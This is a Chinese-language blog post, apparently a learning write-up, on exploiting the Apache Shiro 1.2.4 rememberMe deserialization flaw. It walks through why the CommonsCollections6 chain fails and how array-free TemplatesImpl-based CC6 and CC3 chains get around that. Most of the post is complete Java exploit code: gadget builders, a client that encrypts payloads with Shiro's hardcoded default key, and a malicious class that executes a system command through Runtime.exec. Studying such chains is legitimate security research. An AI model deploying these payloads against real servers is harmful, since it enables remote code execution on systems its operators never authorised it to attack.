TemplatesImpl 在Shiro中的利用链学习1

一、前言

在前面的学习中,我们学习了CC1、CC6链,其中CC1链受限于Java8u71版本,而CC6则是通杀的利用链;后来又将 TemplateImpl 融入到 CommonsCollections 利用链中,绕过了 InvokerTransformer 不能使用的限制,转用org.apache.commons.collections.functors.InstantiateTransformer 构造了CC3利用链,一样可以执行任意Java字节码;同时通过 TemplatesImpl 构造的利用链,理论上可以执行任意java代码,这是一种非常通用的代码执行漏洞,不受到对于链的限制,特别是内存马逐渐流行以后,执行任意 java代码的需求就更加浓烈了。

本文就通过————Shiro反序列化的漏洞,来实际学习下如何使用 TemplatesImpl

二、使用 CommonsCollections6 攻击 Shiro

1、环境安装和初步利用

Shiro反序列化的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe 字段中,下次读取时进行解密再反序列化。 但是在Shiro 1.2.4 版本之前内置了一个默认且固定的加密Key, 导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

这里使用P牛简化的一个shrio1.2.4的登陆应用 整个项目只有两个代码文件,index.jsp 和login.jsp,依赖也仅有下面几个:

  • shiro-core、shiro-web, 这是shiro本身的依赖
  • javax.servlet-api、jsp-api, 这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
  • slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  • commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException:org.apache.commons.logging.LogFactory错误
  • commons-collectons, 为了演示反序列化漏洞,增加了 commons-collections依赖
使用 mvn package 将项目打包成 war 包,放在 Tomcat webapps 目录下。然后访问
http://localhost:8080/shirodemo/ ,会跳转到登录页面:

然后输入正确的账号密码, root/secret ,成功登录:

如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie:

攻击过程如下:

  1. 使用以前学过的CommonsCollections6利用链生成一个序列化Payload
  2. 使用Shiro默认key进行加密
  3. 密文作为 rememberMe的Cookie发送给服务端
生成payload CommonsCollections6.java

public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
使用Shiro默认Key进行加密: Client0.java

public class Client0 {
    public static void main(String[] args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        System.out.println(key.toString());

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

加密的过程,使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段base64字符串。 直接将这段字符串作为rememberMe的值(不做url编码),发送给shiro。并没有弹出计算器,而是Tomcat出现了报错:

这是为什么?

2、冲突与限制

我们找异常信息的倒数第一行,也就是 org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass

这是一个 ObjectInputStream的子类,其重写了resolveClass 方法


package org.apache.shiro.io;

import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

/**
 * Enables correct ClassLoader lookup in various environments (e.g. JEE Servers, etc).
 *
 * @since 1.2
 * @see <a href="https://issues.apache.org/jira/browse/SHIRO-334">SHIRO-334</a>
 */
public class ClassResolvingObjectInputStream extends ObjectInputStream {

    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
     * Resolves an {@link ObjectStreamClass} by delegating to Shiro's 
     * {@link ClassUtils#forName(String)} utility method, which is known to work in all ClassLoader environments.
     * 
     * @param osc the ObjectStreamClass to resolve the class name.
     * @return the discovered class
     * @throws IOException never - declaration retained for subclass consistency
     * @throws ClassNotFoundException if the class could not be found in any known ClassLoader
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException e) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
    }
}

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的ObjectInputStream类中的 resolveClass 方法:

    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
    }

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName(实际上内部用到了 org.apache.cataline.loader.ParallelWebappClassLoader#loadClass) , 而后者用的是Java原生的 Class.forName.

关于这两者的区别,中间涉及到大量Tomcat对类加载的处理逻辑,参考文章

强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 - zsx's Blog

http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe反序列化漏洞分析-CVE-2016-4437/

这里套用结论: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 这就是解释了为什么 CommonsCollections6无法利用了,因为其中用到了 Transformer 数组

3、构造不含数组的反序列化利用链

为了解决刚刚提到的问题,我们回顾下前文说过的 TemplatesImpl,可以通过下面的几行代码来执行一段Java的字节码:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setfieldValue(obj, "_tfactory", new TransformerFactoryImpl());

obj.newTranformer();

然后结合InvokerTranformer 调用 TemplatesImpl#newTransformer 方法,

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
}

不过,即使在这里,依旧用到了 Transformer 数组, 不符合条件? 所以进一步想想如何去除这一过程中的Transformer 数组呢?wh1t3p1g大佬的文章中给出了行之有效的方法。

回顾下CommonsCollections6利用链中,我们用到了 TiedMapEntry, 其构造函数接收两个参数,参数1 是一个Map, 参数2是一个key。 TiedMapEntry 类有个 getValue 方法, 调用了map的get方法,并传入key:

public object getValue() {
    return map.get(key);
}

当这个map 是LazyMap 时, 其get方法就是触发 transform的关键点:

   public Object get(Object key) {
        //create value for key if key is not currently in  the map
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

我们以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key 是不关心的,因为通常 Transformer 数组的首个对象是 ConstantTransformer,我们通过ConstantTransformer 来初始化恶意对象。

但是当前由于我们没法使用Transformer 数组,也就不能使用ConstantTransformer 作为前置transformer, 但是我们发现 LazyMap#get 的参数 key,会被传进 tranformer(), 实际上它可以扮演ConstantTransformer的角色--简单的对象传递者。

那么我们再回看前面的 Transform 数组:
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
}
new ConstantTransformer(obj) 这一步完全是可以去除了,数组长度变成 1 ,那么数组也就不需要
了。

4、改造CommonsCollections6攻击Shiro

运行环境:

java 1.8.0_71

commons-collections 3.2.1

首先还是创造 TemplatesImpl对象:

TemplatesImpl  obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloImpl");
setFiledValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用 newTransformer 方法的InvokerTranformer, 但注意到 是,此时先传入一个人畜无害的方法,比如getClass, 避免恶意方法在构造 Gadget的时候触发:

Tranformer transformer = new InvokerTransformer("getClass", null, null);

再把之前的CommonsCollections6的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tem, "valuvalue");

outerMap.clear()

这里没有用outerMap.remove("obj");  移除key的副作用,直接通过outerMap.clear(); 效果一样

最后,将 InvokerTranformer 的方法从人畜无害的 getClass ,改成newTranformer, 正式完成武器装配。 完整代码如下:
 

CommonsCollectionsShiro.java


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String  fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "Hellotemplate");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        return barr.toByteArray();

    }
}

同时写个Client.java来装配上面的CommonsCollectionsShiro

Client.java

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

恶意的字节码文件

evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}
这里用到了 javassist ,这是一个字节码操纵的第三方库,可以帮助我将恶意类
evil.java  生成字节码再交给 TemplatesImpl 。 生成的POC ,在 Cookie 里进行发送,成功弹出计算器

5、改造 CommonsCollections3 攻击Shiro

运行环境:

java 1.8.0_71

commons-collections 3.2.1

同上,这里也改造一个CommonsCollections3 攻击Shiro的Poc

CommonsColections3_Shiro.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsColections3_Shiro {

    public static void setFieldValue(Object obj, String  fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "Hellotemplate");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer faketransformer = new ConstantTransformer(1);

        Transformer transformer = new InstantiateTransformer(new Class[]{ Templates.class}, new Object[]{ obj});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, faketransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(outerMap, "factory", transformer);


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        return barr.toByteArray();

    }

其他 Client.java 和 evil.java 同上

三、注意项

Shiro 不是遇到 Tomcat 就一定会有数组这个问题
Shiro-550 的修复并不意味着反序列化漏洞的修复,只是默认 Key 被移除了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值